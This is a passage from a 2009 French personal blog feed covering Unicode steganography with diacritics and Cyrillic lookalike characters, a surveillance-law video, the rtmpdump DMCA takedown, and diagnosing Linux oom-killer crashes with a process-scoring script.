Le caractère unicode auquel on a à faire est donc le &lt;a href=&quot;http://www.decodeunicode.org/de/u+00e9&quot; hreflang=&quot;en&quot; target=&quot;_blank&quot;&gt;U+00E9&lt;/a&gt;.&lt;br /&gt;
Renseignons nous sur ce caractère :
&lt;pre&gt;&amp;gt;&amp;gt;&amp;gt; import unicodedata
&amp;gt;&amp;gt;&amp;gt; unicodedata.name(u)
'LATIN SMALL LETTER E WITH ACUTE'
&amp;gt;&amp;gt;&amp;gt; unicodedata.lookup('LATIN SMALL LETTER E WITH ACUTE')
u'\xe9'&lt;/pre&gt;
Le type python unicode ne permet pas de tout faire, on pourrait le qualifier de &lt;q&gt;virtuel&lt;/q&gt;. On est obligé de le mettre en &lt;q&gt;dur&lt;/q&gt; (l'encoder) pour effectuer certaines opérations comme écrire dans un fichier.&lt;br /&gt;
&lt;pre&gt;&amp;gt;&amp;gt;&amp;gt; u.encode(&amp;quot;UTF-8&amp;quot;)
'\xc3\xa9'&lt;/pre&gt;
D'autres commandes pratiques :
&lt;pre&gt;&amp;gt;&amp;gt;&amp;gt; ord(u)
233
&amp;gt;&amp;gt;&amp;gt; unichr(233)
u'\xe9'
&amp;gt;&amp;gt;&amp;gt; u.encode('ascii', 'xmlcharrefreplace')
'&amp;amp;#233;'&lt;/pre&gt;
&lt;br /&gt;
&lt;strong&gt;UTF-8 et stéganographie&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
L'idée d'utiliser l'unicode pour dissimuler des données m'est venue en me demandant s'il y avait pas plusieurs façons d'encoder le même caractère. Après tout, chaque format (ASCII, UTF-8, UTF-16...) offre différents encodages pour un même caractère alors pourquoi pas le même caractère dans un même format ? Avec deux encodages possibles on peut donc glisser un bit (valeur 0 pour un encodage, valeur 1 pour le second).&lt;br /&gt;
Mes recherches sur Internet m'ont montré que non seulement je n'étais pas le seul à y avoir pensé mais en plus certains l'avaient déjà implémenté. Je n'invente donc rien mais je vous fournis les techniques utilisés.&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;La première technique&lt;/strong&gt; est proposée &lt;a href=&quot;http://www.mockingeye.com/index.php/2008/12/29/unistegpy-hiding-text-in-text-using-unicode/&quot; hreflang=&quot;en&quot; target=&quot;_blank&quot;&gt;par MockingEye&lt;/a&gt; et son implémentation &lt;a href=&quot;http://www.mockingeye.com/wp-content/uploads/2008/12/unisteg.py&quot; target=&quot;_blank&quot;&gt;unisteg.py&lt;/a&gt;.&lt;br /&gt;
Elle se base sur les &lt;a href=&quot;http://fr.wikipedia.org/wiki/Diacritique&quot; hreflang=&quot;fr&quot; target=&quot;_blank&quot;&gt;diacritiques&lt;/a&gt;. Typiquement ce sont les accents et cédilles qui peuvent être attachés à un caractère.&lt;br /&gt;
&lt;br /&gt;
Si vous vous rendez sur &lt;a href=&quot;http://www.decodeunicode.org/en/combining_diacritical_marks&quot; hreflang=&quot;en&quot; target=&quot;_blank&quot;&gt;le bloc des diacritiques sur decodeunicode.org&lt;/a&gt;, vous verrez tout de suite de quoi je veux parler :) &lt;br /&gt;
Unicode permet donc d'encoder de deux façons différentes nos lettres à accent. Soit sous leur forme fixe (le &lt;q&gt;é&lt;/q&gt;) soit sous une forme combinée (la lettre &lt;q&gt;e&lt;/q&gt; combinée avec &lt;a href=&quot;http://www.decodeunicode.org/en/u+0301&quot; hreflang=&quot;en&quot; target=&quot;_blank&quot;&gt;le diacritique de l'accent aigue&lt;/a&gt;).&lt;br /&gt;
Le passage de la forme composée à la forme décomposée (et vice-versa) peut se faire par la fonction normalize de la librairie &lt;a href=&quot;http://docs.python.org/library/unicodedata.html&quot; hreflang=&quot;en&quot; target=&quot;_blank&quot;&gt;unicodedata&lt;/a&gt; en python :
&lt;pre&gt;&amp;gt;&amp;gt;&amp;gt; unicodedata.normalize(&amp;quot;NFD&amp;quot;,u)
u'e\u0301'
&amp;gt;&amp;gt;&amp;gt; unicodedata.normalize(&amp;quot;NFC&amp;quot;,u'e\u0301')
u'\xe9'
&amp;gt;&amp;gt;&amp;gt; unicodedata.normalize(&amp;quot;NFD&amp;quot;,u).encode(&amp;quot;UTF-8&amp;quot;)
'e\xcc\x81'&lt;/pre&gt;
On remarque que le diacritique ne précéde pas le caractère mais le suit. Pour faire simple :&lt;br /&gt;
&lt;a href=&quot;http://xs.to&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://xs840.xs.to/xs840/09231/concat100.png&quot; title=&quot;Free image hosting powered by xs.to&quot; alt=&quot;e combining diacritical&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;La seconde méthode&lt;/strong&gt; est &lt;a href=&quot;http://www.cs.trincoll.edu/~aalcorn/steganography/&quot; hreflang=&quot;en&quot; target=&quot;_blank&quot;&gt;proposée par Antonio Alcorn&lt;/a&gt;. Elle est implémentée en PHP mais le code source n'est pas disponible. Toutefois en analysant le résultat on se rend compte que la technique se base sur l'utilisation de caractères différents mais visuellement très proche.&lt;br /&gt;
Par exemple, notre &lt;q&gt;e&lt;/q&gt; est très proche du &lt;a href=&quot;http://www.decodeunicode.org/en/u+0435&quot; hreflang=&quot;en&quot; target=&quot;_blank&quot;&gt;du petit IE cyrillique&lt;/a&gt;.&lt;br /&gt;
&lt;a href=&quot;http://www.decodeunicode.org/en/cyrillic&quot; hreflang=&quot;en&quot; target=&quot;_blank&quot;&gt;Les caractères cyrilliques&lt;/a&gt; sont plus bruts que nos caractères et sont généralement représentés sans serif (voir &lt;a href=&quot;http://fr.wikipedia.org/wiki/Empattement_(typographie)&quot; hreflang=&quot;fr&quot; target=&quot;_blank&quot;&gt;empattement&lt;/a&gt;). En fonction de la police utilisée pour afficher les caractères, on ne verra donc pas la différence. On se servira pour ce faire d'une police sans-serif comme Arial.&lt;br /&gt;
Dans le second texte au début de cet article, vous avez peut-être remarqué que le &lt;q&gt;h&lt;/q&gt; de &lt;q&gt;has&lt;/q&gt; était plus large. C'est tout simplement parce qu'il s'agit du &lt;a href=&quot;http://www.decodeunicode.org/en/u+04ba/properties&quot; hreflang=&quot;en&quot;&gt;caractère cyrillique SHHA (U+04BA)&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
Ayant créé moi même mes outils de stéganographie UTF-8 (voir çi-dessous), la recherche des caractères similaires m'a pris un bon moment. J'ai rassemblé ça dans &lt;a href=&quot;http://devloop.lyua.org/releases/unicode_similar.txt&quot;&gt;ce fichier&lt;/a&gt;.&lt;br /&gt;
Les caractères où la différence n'est pas visible (avec la bonne police) sont placés directement. Ceux où l'on peut se laisser prendre sont entre parenthèses avec le signe + accolé. Ceux entre parenthèses ressemblent d'assez loin.&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;utf8hide et utf8reveal&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://devloop.lyua.org/releases/utf8hide.py&quot;&gt;utf8hide.py&lt;/a&gt; permet comme son nom l'indique de cacher des données dans un texte.&lt;br /&gt;
Il demande deux arguments : le fichier dont il faut cacher le contenu et un fichier texte &lt;strong&gt;au format ISO-8859-1 au ASCII&lt;/strong&gt;. Un troisème argument (&lt;q&gt;html&lt;/q&gt;) peut être passé si on souhaite ensuite injecter le résultat dans une page web.&lt;br /&gt;
J'ai repris l'idée de l'implémentation PHP qui propose d'utiliser seulement 5 bits pour coder un caractère à cacher en la poussant plus loin et sans les limitations.&lt;br /&gt;
Le programme fait une analyse du fichier à dissimuler et détermine le plus petit nombre de bits nécessaire pour coder un octet. Si le message secret est court, il défini un charset (alphabet) lui permettant ainsi de &lt;q&gt;comprimer&lt;/q&gt; un octet sur seulement quelques bits (3, 4, 5, 6). Au-delà, le charset serait trop gros et le programme préfère utiliser les codes habituels des caractères.&lt;br /&gt;
&lt;br /&gt;
Le résultat obtenu est placé dans le fichier &lt;em&gt;out.txt&lt;/em&gt;. L'affichage donne le nombre de bits pour un octet (nbit), le charset utilisé et la taille du fichier secret. Il faut conserver ces paramêtres pour l'opération inverse.&lt;br /&gt;
&lt;br /&gt;
Un peu à l'instar de &lt;a href=&quot;http://devloop.lyua.org/blog/index.php?2008/01/09/490-thumbstego&quot; hreflang=&quot;fr&quot;&gt;ThumbStego&lt;/a&gt; qui nécessitait une image et sa signature, &lt;a href=&quot;http://devloop.lyua.org/releases/utf8reveal.py&quot;&gt;utf8reveal.py&lt;/a&gt; a besoin du texte ascii/iso8859 qui a servi à dissimuler le fichier et la version UTF-8 dans laquelle sont cachées les données.&lt;br /&gt;
On lui passe aussi en argument les variables vues plus tôt et le programme recréé le fichier secret dans &lt;q&gt;secret.xxx&lt;/q&gt;&lt;br /&gt;
&lt;br /&gt;
Les deux programmes affichent les bits à l'écran (0 ou 1) ce qui peut-être ennuyeux pour les gros fichiers... mais une telle utilisation est à éviter.&lt;br /&gt;
En effet, le programme a beau compresser comme il peut les données en entrées et utiliser la méthode des diacritiques ainsi que celle des ressemblances entre caractères, tous les caractères ne sont malheureusement pas exploitables. Le programme passe alors aux caractères suivant jusqu'à tomber sur un caractère exploitable. Le ratio est donc bien plus faible que 1/8ème mais c'est suffisant pour y passer quelques mots :) &lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;Arghhh&lt;/strong&gt;&lt;br /&gt;
J'ai eu la peur de ma vie (c'est quelque peu exagéré) en développant le code. En voulant recopier mes scripts vers un répertoire de sauvegarde, j'ai bêtement tapé &lt;q&gt;rm -r&lt;/q&gt; au lieu de &lt;q&gt;cp&lt;/q&gt;, supprimant ainsi les codes et le répertoire de sauvegarde.&lt;br /&gt;
A défaut de faire n'importe quoi, je me suis félicité d'avoir quelques connaissances en inforensique, ce qui m'a permis d'extraire le code de la partition :D Pourtant comme le code fait plus de 4096 octets, il était sur deux blocs mémoire et sur du ext3... merci à grep, dd et hexdump :p</content>
</entry>
<entry xml:lang="fr">
  <title>Nous sommes tous des terroristes</title>
  <link rel="alternate" type="text/html" href="http://devloop.lyua.org/blog/index.php?2009/05/30/571-nous-sommes-tous-des-terroristes" />
  <issued>2009-05-30T11:03:59+00:00</issued>
  <modified>2009-05-30T11:03:59+00:00</modified>
  <id>http://devloop.lyua.org/blog/index.php?2009/05/30/571-nous-sommes-tous-des-terroristes</id>
  <author><name>devloop</name></author>
  <dc:subject>Cyber et Sciences</dc:subject>
  <summary>Je me permets de relayer sur ce blog l'arrivée d'une vidéo baptisée Du bist terrorist (Tu es un terroriste) qui à l'instar de la vidéo Big Brother State dénonce les dérives sécuritaires....</summary>
  <content type="text/html" mode="escaped"> &lt;img src=&quot;http://images.mefeedia.com/entries/18394816/video_140.png&quot; alt=&quot;Tu es un terroriste&quot; style=&quot;float: left; margin-right: 5px;&quot; /&gt;Je me permets de relayer sur ce blog l'arrivée d'une vidéo baptisée &lt;a href=&quot;http://www.numerama.com/magazine/13013-Video-Nous-sommes-tous-des-terroristes.html&quot; hreflang=&quot;fr&quot; target=&quot;_blank&quot;&gt;Du bist terrorist (Tu es un terroriste)&lt;/a&gt; qui à l'instar de la vidéo &lt;a href=&quot;http://devloop.lyua.org/blog/index.php?2007/03/11/413-big-brother-state&quot; hreflang=&quot;fr&quot;&gt;Big Brother State&lt;/a&gt; dénonce les dérives sécuritaires.&lt;br /&gt;
&lt;br /&gt;
Cette vidéo qui tombe à une époque où &lt;a href=&quot;http://www.01net.com/editorial/350060/la-police-nationale-a-lecoute-des-nouvelles-menaces-terroristes/&quot; hreflang=&quot;fr&quot; target=&quot;_blank&quot;&gt;des moyens d'écoute des communications&lt;/a&gt; sont déjà mis en place et en plein débat sur la loi &lt;a href=&quot;http://fr.wikipedia.org/wiki/Loi_d'orientation_et_de_programmation_pour_la_performance_de_la_sécurité_intérieure&quot; hreflang=&quot;fr&quot; target=&quot;_blank&quot;&gt;LOPSI 2&lt;/a&gt; n'est pourtant pas française mais allemande.&lt;br /&gt;
Il faut dire que les lois se suivent et se ressemblent en &lt;em&gt;France&lt;/em&gt;, en &lt;em&gt;Angleterre&lt;/em&gt; et en &lt;em&gt;Allemagne&lt;/em&gt;. &lt;em&gt;Nicolas Sarkozy&lt;/em&gt;, &lt;em&gt;Gordon Brown&lt;/em&gt; ou &lt;em&gt;Wolfgang Schäuble&lt;/em&gt;... on a les même à la maison.&lt;br /&gt;
&lt;br /&gt;
Bien sûr on nous assure que ces moyens liberticides ne seront pris que dans des cas extrêmes , pour lutter contre le &lt;q&gt;terrorisme&lt;/q&gt;. On regrette toutefois que le terrorisme soit si mal défini et si on s'en tient à l'actualité on a plutôt l'impression qu'il en faut &lt;a href=&quot;http://tempsreel.nouvelobs.com/speciales/societe/libertes_sous_pression/20090515.OBS6965/crier_sarkozy_je_te_vois_conduit_au_tribunal.html&quot; hreflang=&quot;fr&quot; target=&quot;_blank&quot;&gt;très peu&lt;/a&gt;, voir même qu'il suffit d'être &lt;a href=&quot;http://www.liberation.fr/societe/0101570042-julien-coupat-libre-un-revers-pour-mam&quot; hreflang=&quot;fr&quot; target=&quot;_blank&quot;&gt;de gauche&lt;/a&gt; pour rentrer dans une telle classification :( &lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.numerama.com/magazine/13013-Video-Nous-sommes-tous-des-terroristes.html&quot; hreflang=&quot;fr&quot; target=&quot;_blank&quot;&gt;La vidéo sous-titrée français sur Numerama&lt;/a&gt;</content>
</entry>
<entry xml:lang="fr">
  <title>Une spécification non-officielle du protocole RTMPE d'Adobe sur Internet</title>
  <link rel="alternate" type="text/html" href="http://devloop.lyua.org/blog/index.php?2009/05/24/570-une-specification-non-officielle-du-protocole-rtmpe-dadobe-sur-internet" />
  <issued>2009-05-24T22:01:01+00:00</issued>
  <modified>2009-05-24T22:01:01+00:00</modified>
  <id>http://devloop.lyua.org/blog/index.php?2009/05/24/570-une-specification-non-officielle-du-protocole-rtmpe-dadobe-sur-internet</id>
  <author><name>devloop</name></author>
  <dc:subject>Cyber et Sciences</dc:subject>
  <summary>J'ai déjà parlé du protocole RTMPE, protocole de streaming propriétaire de chez Adobe, dans un billet sur M6 Replay ainsi qu'une façon de passer outre les sécurités du protocole en utilisant un...</summary>
  <content type="text/html" mode="escaped"> &lt;img src=&quot;http://bookshelvesofdoom.blogs.com/bookshelves_of_doom/images/2008/03/05/nelson_muntz.jpg&quot; alt=&quot;Nelson Muntz Haha&quot; style=&quot;float: right; margin-left: 5px;&quot; /&gt;J'ai déjà parlé du protocole &lt;em&gt;RTMPE&lt;/em&gt;, protocole de streaming propriétaire de chez &lt;em&gt;Adobe&lt;/em&gt;, dans un billet sur &lt;a href=&quot;http://devloop.lyua.org/blog/index.php?2008/07/29/521-m6replay-beta-et-linux&quot; hreflang=&quot;fr&quot;&gt;M6 Replay&lt;/a&gt; ainsi qu'&lt;a href=&quot;http://devloop.lyua.org/blog/index.php?2008/08/18/527-enregistrer-les-videos-de-m6replay-beta-sous-windows-cest-possible&quot; hreflang=&quot;fr&quot;&gt;une façon de passer outre les sécurités du protocole&lt;/a&gt; en utilisant un logiciel spécifique.&lt;br /&gt;
&lt;br /&gt;
J'avais aussi connaissance de &lt;q&gt;rtmpdump&lt;/q&gt;, petit logiciel en ligne de commande qui permet de télécharger les flux &lt;em&gt;RTMP&lt;/em&gt; sur différents sites. Pendant un moment je suivais son développement de près puis m'en était petit à petit éloigné en me disant que si un jour le &lt;em&gt;RTMPE&lt;/em&gt;, la version chiffrée du &lt;em&gt;RTMP&lt;/em&gt;, était implémentée, j'en entendrais forcément parler d'une manière quelconque.&lt;br /&gt;
&lt;br /&gt;
Et c'est arrivé :D &lt;br /&gt;
Un lisant &lt;a href=&quot;http://tech.slashdot.org/article.pl?sid=09/05/23/2017218&quot; hreflang=&quot;en&quot; target=&quot;_blank&quot;&gt;cet article de Slashdot&lt;/a&gt;, on apprend qu'une &lt;a href=&quot;http://lkcl.net/rtmp/RTMPE.txt&quot; hreflang=&quot;en&quot; target=&quot;_blank&quot;&gt;spécification non-officielle&lt;/a&gt; a été créée en se basant sur le code source de &lt;em&gt;rtmpdump&lt;/em&gt;.&lt;br /&gt;
La réaction d'&lt;em&gt;Adobe&lt;/em&gt; a consisté à utiliser le &lt;a href=&quot;http://fr.wikipedia.org/wiki/Digital_Millennium_Copyright_Act&quot; hreflang=&quot;fr&quot; target=&quot;_blank&quot;&gt;DMCA&lt;/a&gt; (loi sur le droit d'auteur) pour forcer &lt;em&gt;SourceForge&lt;/em&gt; à retirer de ses pages le projet &lt;em&gt;rtmpdump&lt;/em&gt; qui y était hébergé.&lt;br /&gt;
&lt;br /&gt;
L'implémentation de &lt;em&gt;RTMPE&lt;/em&gt; dans &lt;em&gt;rtmpdump&lt;/em&gt; n'est pourtant pas si récente. Si on regarde dans le &lt;em&gt;ChangeLog&lt;/em&gt; du logiciel, on voit que le code a été rendu publique le 27 avril de cette année par la version 1.5.&lt;br /&gt;
On comprend l'agacement d'&lt;em&gt;Adobe&lt;/em&gt; qui tenait secret les spécifications de &lt;em&gt;RTMPE&lt;/em&gt; et vend ses solutions (serveurs de streaming) à un certain prix faisant tout pour que des solutions libres comme le serveur &lt;em&gt;Red5&lt;/em&gt; ou le player &lt;em&gt;Gnash&lt;/em&gt; ne parlent que le &lt;em&gt;RTMP&lt;/em&gt; qui est &lt;q&gt;non protégé&lt;/q&gt;.&lt;br /&gt;
&lt;br /&gt;
Toutefois je n'ai pas encore jeté un oeil sérieux au support du &lt;em&gt;RTMPE&lt;/em&gt; dans &lt;em&gt;rtmpdump&lt;/em&gt; ainsi qu'à la spécification (qui commencent tous deux à se répliquer sur Internet dans un mouvement d'anti-censure avec en plus SF qui est montré du doigt) pour déterminer s'il est possible de télécharger facilement les vidéos sur des sites de streaming basés sur les technos Flash ou si cela requiet des connaissances particulières...&lt;br /&gt;
&lt;br /&gt;
Bref un buzz à suivre de très près et qui montre une fois de plus que les DRMs sont voués à l'échec.</content>
</entry>
<entry xml:lang="fr">
  <title>Afficher la "kill" liste de votre système Linux</title>
  <link rel="alternate" type="text/html" href="http://devloop.lyua.org/blog/index.php?2009/05/24/569-afficher-la-kill-liste-de-votre-systeme-linux" />
  <issued>2009-05-24T15:20:45+00:00</issued>
  <modified>2009-05-24T15:20:45+00:00</modified>
  <id>http://devloop.lyua.org/blog/index.php?2009/05/24/569-afficher-la-kill-liste-de-votre-systeme-linux</id>
  <author><name>devloop</name></author>
  <dc:subject>Linux et logiciels libres</dc:subject>
  <summary>Pour revenir au billet précédent et aux fichiers /proc/[pid]/oom_score et /proc/[pid]/oom_adj...

La page de manuel de proc(5) nous dis informe de différents points intéressants :

 oom_adj...</summary>
  <content type="text/html" mode="escaped"> &lt;img src=&quot;http://thumb.visualizeus.com/thumbs/08/07/05/kill,bill,list,movies-60470c779000a5b8f0771dd335b1c993_m.jpg&quot; alt=&quot;Kill List&quot; style=&quot;float:right; margin-left: 5px;&quot; /&gt;Pour revenir &lt;a href=&quot;http://devloop.lyua.org/blog/index.php?2009/05/23/568-plantages-sous-linux&quot; hreflang=&quot;fr&quot;&gt;au billet précédent&lt;/a&gt; et aux fichiers &lt;em&gt;/proc/[pid]/oom_score&lt;/em&gt; et &lt;em&gt;/proc/[pid]/oom_adj&lt;/em&gt;...&lt;br /&gt;
&lt;br /&gt;
La page de manuel de &lt;em&gt;proc(5)&lt;/em&gt; nous dis informe de différents points intéressants :&lt;br /&gt;
&lt;ul&gt;
 &lt;li&gt;&lt;em&gt;oom_adj&lt;/em&gt; contient une valeur numérique située entre -17 et 15. Plus la valeur est grande (et positive) plus le processus a des chances d'être candidat à un &lt;q&gt;suicide&lt;/q&gt; décidé par le kernel.&lt;/li&gt;
 &lt;li&gt;On peut jouer sur cette valeur, par exemple en faisant un &lt;em&gt;echo -5 &amp;gt; /proc/[pid]/oom_adj&lt;/em&gt;&lt;/li&gt;
 &lt;li&gt;&lt;em&gt;oom_score&lt;/em&gt; contient une valeur numérique bien plus grande qui est calculée à partir de différents éléments comme l'utilisation CPU du processus, sa priorité, s'il tourne avec des privilèges etc. Le résultat est ensuite décalée à l'aide de la valeur oom_adj (bit shift). Cette opération est définie par la fonction &lt;a href=&quot;http://oomkill.net/&quot; hreflang=&quot;en&quot; target=&quot;_blank&quot;&gt;badness&lt;/a&gt;&lt;/li&gt;
 &lt;li&gt;la valeur -17 dans &lt;em&gt;oom_adj&lt;/em&gt; est particulière et permet de marquer le processus comme indestructible&lt;/li&gt;
 &lt;li&gt;Tout ce mécanisme peut être activé ou désactivé par &lt;em&gt;/proc/sys/vm/panic_on_oom&lt;/em&gt;. Si ce fichier contient &lt;q&gt;1&lt;/q&gt; alors le système fait un kernel panic en cas de débordement de mémoire. S'il est à 0, &lt;em&gt;oom-killer&lt;/em&gt; est appelé à la rescousse.&lt;/li&gt;
&lt;/ul&gt;
Pour afficher la liste des processus par ordre croissant de risque de se faire tuer, j'ai créé un script python : &lt;a href=&quot;http://devloop.lyua.org/releases/oom_score.py&quot;&gt;oom_score.py&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Il donne un résultat de ce style :&lt;br /&gt;
&lt;pre&gt;oom_score pid   process name                   oom_adj                              
        0  3593 /sbin/auditd -s disable            -17                              
        0   665 /sbin/udevd --daemon               -17                              
       13  2610 /sbin/acpid                          0                              
       15  3622 /usr/sbin/avahi-dnsconfd -D          0
...
    34560  5187 /usr/bin/krunner                     0
    83495  5108 kdeinit4: kdeinit4 Running...        0
    90882     1 init [5]                             0
   103294  5614 /bin/sh /usr/bin/firefox             0&lt;/pre&gt;
Gare à toi Firefox !! :p Par contre qu'init soit en seconde position, ça fait plus peur :D &lt;br /&gt;
&lt;br /&gt;
Quelqu'un a fait un script bash &lt;a href=&quot;http://mydebian.blogdns.org/?p=361&quot; hreflang=&quot;en&quot; target=&quot;_blank&quot;&gt;ici&lt;/a&gt; mais il donne moins d'informations (uniquement oom_score et nom du process)</content>
</entry>
<entry xml:lang="fr">
  <title>Plantages sous Linux</title>
  <link rel="alternate" type="text/html" href="http://devloop.lyua.org/blog/index.php?2009/05/23/568-plantages-sous-linux" />
  <issued>2009-05-23T22:45:22+00:00</issued>
  <modified>2009-05-23T22:45:22+00:00</modified>
  <id>http://devloop.lyua.org/blog/index.php?2009/05/23/568-plantages-sous-linux</id>
  <author><name>devloop</name></author>
  <dc:subject>Linux et logiciels libres</dc:subject>
  <summary>J'ai beau aimer Linux et dire régulièrement du mal de Windows (la gestion des fenêtres est tout simplement exaspérante face à un bon KDE), j'admets tout de même volontier que Linux est aussi...</summary>
  <content type="text/html" mode="escaped"> J'ai beau aimer Linux et dire régulièrement du mal de Windows (la gestion des fenêtres est tout simplement exaspérante face à un bon KDE), j'admets tout de même volontier que Linux est aussi sujet à des plantages.&lt;br /&gt;
MAIS quand ça survient sous Linux, on se dit qu'il y a une bonne raison et que surtout il y a une façon de trouver quelle en est la cause et d'agir pour que ça ne se reproduise plus. C'est tout l'avantage d'un système open-source face à un système propriétaire où l'on peut juste... subir et espérer que les devs découvrent puis décident finalement de corriger le problème :( &lt;br /&gt;
&lt;br /&gt;
Je ne sais plus exactement depuis combien de temps j'ai ce souci mais ça fait un bail... en fait probablement depuis que j'ai &lt;a href=&quot;http://devloop.lyua.org/blog/index.php?2006/03/01/214-shirley&quot; hreflang=&quot;fr&quot;&gt;Shirley&lt;/a&gt; ^_^ &lt;br /&gt;
Le symptôme est toujours le même : tout d'un coup le disque dur se met à gratter et les commandes ne répondent plus. Seul le curseur de la souris est d'accord pour réagir (par intermittence). Si on est suffisamment rapide (c'est rare), on peut parvenir à fermer les applications et éviter le pire.&lt;br /&gt;
Le pire (qui est tout de même loin d'être l'enfer mais très énervant) c'est que le système reste inutilisable et gratte pendant un bon moment. Ca peut durer jusqu'à une demi-heure dans mon cas.&lt;br /&gt;
Ce comportement est typique d'un programme quelconque qui explose son utilisation mémoire et, une fois la RAM complètement utilisée, s'attaque à la SWAP (d'où l'utilisation intensive du disque dur)&lt;br /&gt;
&lt;br /&gt;
Si on est patient, tout se termine &lt;q&gt;bien&lt;/q&gt;. Le kernel s'est chargé de tuer toutes applications graphiques, le WM et Xorg inclus (bref la crémerie avec la crémière et ses yaourts) et on est bon pour se relogger.&lt;br /&gt;
Quelques minutes plus tôt on s'acharnait à faire des Ctrl+Alt+F1 dans l'espoir de pouvoir régler nous même le problème.&lt;br /&gt;
&lt;br /&gt;
Il est très difficile de déterminer quel programme est à l'origine du plantage... surtout quand on a toujours les même programmes ouverts :p &lt;br /&gt;
Longtemps j'ai soupçonné le &lt;q&gt;operapluginwrap&lt;/q&gt; qui est le programme qui gère les plugins sous &lt;em&gt;Opera&lt;/em&gt;. Son utilisation du CPU grimpe en flèche dès que l'on tombe sur du &lt;em&gt;Flash&lt;/em&gt; (d'où l'utilité d'un &lt;a href=&quot;http://devloop.lyua.org/blog/index.php?2009/05/23/567-flashblock-pour-opera&quot; hreflang=&quot;fr&quot;&gt;FlashBlocker&lt;/a&gt; pour limiter les dégats).&lt;br /&gt;
&lt;br /&gt;
Au même titre, j'ai soupçonné &lt;em&gt;Vuze&lt;/em&gt; (client &lt;em&gt;BitTorrent&lt;/em&gt; développé en &lt;em&gt;Java&lt;/em&gt;), ce qui m'a poussé à passer à &lt;em&gt;Deluge&lt;/em&gt; récemment.&lt;br /&gt;
Mais si on suit la logique, le souci pourrait aussi bien être lié à &lt;em&gt;Firefox&lt;/em&gt; (souvent ouvert aussi) ou des daemons (&lt;em&gt;mysqld&lt;/em&gt;, &lt;em&gt;apache&lt;/em&gt;, &lt;em&gt;tor&lt;/em&gt;...)&lt;br /&gt;
&lt;br /&gt;
Malgré le passage à &lt;em&gt;Deluge&lt;/em&gt;, le souci est réapparu. Je suis donc allé fouiller dans les logs.&lt;br /&gt;
La dernière fois j'avais vu des appels à un programme nommé &lt;em&gt;kwin_killer_helper&lt;/em&gt;, sorte de soupape de sécurité de &lt;em&gt;KDE&lt;/em&gt; qui tente de fermer des programmes quand ça part en sucettes... seulement son action a l'air peut efficace est surtout l'application n'est pas configurable :( &lt;br /&gt;
&lt;br /&gt;
Cette fois j'ai remarqué des références à &lt;q&gt;oom-killer&lt;/q&gt;. Il agit de la même façon que &lt;em&gt;kwin_killer_helper&lt;/em&gt; mais au niveau du noyau.&lt;br /&gt;
Le problème c'est qu'il semble reporter seulement le programme qui fait déborder le vase or ce n'est pas forcément celui qui s'est chargé de le remplir à 99%... toutefois en faisant des statistiques, on peut en déduire les programmes qui sont plus gourmants que les autres.&lt;br /&gt;
&lt;br /&gt;
Ainsi un &lt;em&gt;grep&lt;/em&gt; sur &lt;em&gt;/var/log/messages&lt;/em&gt; me donne 9 &lt;q&gt;java invoked oom-killer&lt;/q&gt;, 1 pour &lt;em&gt;opera&lt;/em&gt;, 1 pour &lt;em&gt;policykit-kde&lt;/em&gt; et le dernier en date pour &lt;em&gt;klipper&lt;/em&gt; ^_^ &lt;br /&gt;
Le bon côté c'est qu'en abandonnant &lt;em&gt;Vuze&lt;/em&gt; le problème apparait moins souvent mais il reste toujours présent :( &lt;br /&gt;
&lt;br /&gt;
Si je regarde dans les logs plus anciens (archivés par &lt;em&gt;logrotate&lt;/em&gt;), on retrouve &lt;em&gt;java&lt;/em&gt; mais sont aussi mis en cause &lt;em&gt;hald-addon-stor&lt;/em&gt; et &lt;em&gt;mysqld&lt;/em&gt; :| &lt;br /&gt;
&lt;br /&gt;
Si on effectue des recherches sur &lt;em&gt;Google&lt;/em&gt;, on retrouve tous un tas de programmes variés qui ont &lt;q&gt;invoqué&lt;/q&gt; &lt;em&gt;oom-killer&lt;/em&gt; dont certains sont réputés stables.&lt;br /&gt;
Le souci semble donc venir d'ailleurs.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://forums.fedoraforum.org/showthread.php?t=163835&quot; hreflang=&quot;en&quot; target=&quot;_blank&quot;&gt;Pour certains&lt;/a&gt;, le souci est lié à la taille de la SWAP... il faudrait qu'elle soit au moins de la taille de la RAM. Je ne dirais pas que je n'y crois pas une seconde... mais presque (va pour deux secondes d'incrédulité)&lt;br /&gt;
Pour d'autres &lt;a href=&quot;http://kerneltrap.org/mailarchive/linux-kernel/2007/10/1/326516&quot; hreflang=&quot;en&quot; target=&quot;_blank&quot;&gt;là&lt;/a&gt; (et sans doute plus fiables) et &lt;a href=&quot;http://www.linuxquestions.org/questions/linux-kernel-70/help-me-understand-why-oom-killer-kicks-in-713123/&quot; hreflang=&quot;en&quot; target=&quot;_blank&quot;&gt;ici&lt;/a&gt;, ce serait lié à l'utilisation d'un système 32bits avec une machine 64bits (ce qui est mon cas).&lt;br /&gt;
Je vais probablement suivre la seconde possibilité mais je ne compte pas réinstaller mon système pour le moment (j'attends la version 11.2 d'&lt;em&gt;openSUSE&lt;/em&gt;) :p &lt;br /&gt;
&lt;br /&gt;
Pour le moment j'ai vu &lt;a href=&quot;http://help.lockergnome.com/linux/oom-killer-home--ftopict469425.html&quot; hreflang=&quot;en&quot; target=&quot;_blank&quot;&gt;ici&lt;/a&gt; que chaque processus a dans &lt;em&gt;/proc/&lt;/em&gt; des fichiers &lt;q&gt;oom_adj&lt;/q&gt; et &lt;q&gt;oom_score&lt;/q&gt; dont il serait peut-être bon de connaître l'utilité :| &lt;br /&gt;
Et enfin un comique a enregistré le domaine &lt;a href=&quot;http://oomkill.net/&quot; hreflang=&quot;en&quot; target=&quot;_blank&quot;&gt;oomkill.net&lt;/a&gt; sur lequel ont peut lire le bout de kernel correspondant à ce tueur de gaspilleurs de mémoire (&lt;em&gt;oom&lt;/em&gt; = &lt;q&gt;Out Of Memory&lt;/q&gt;)</content>
</entry>
<entry xml:lang="fr">
  <title>FlashBlock pour Opera</title>
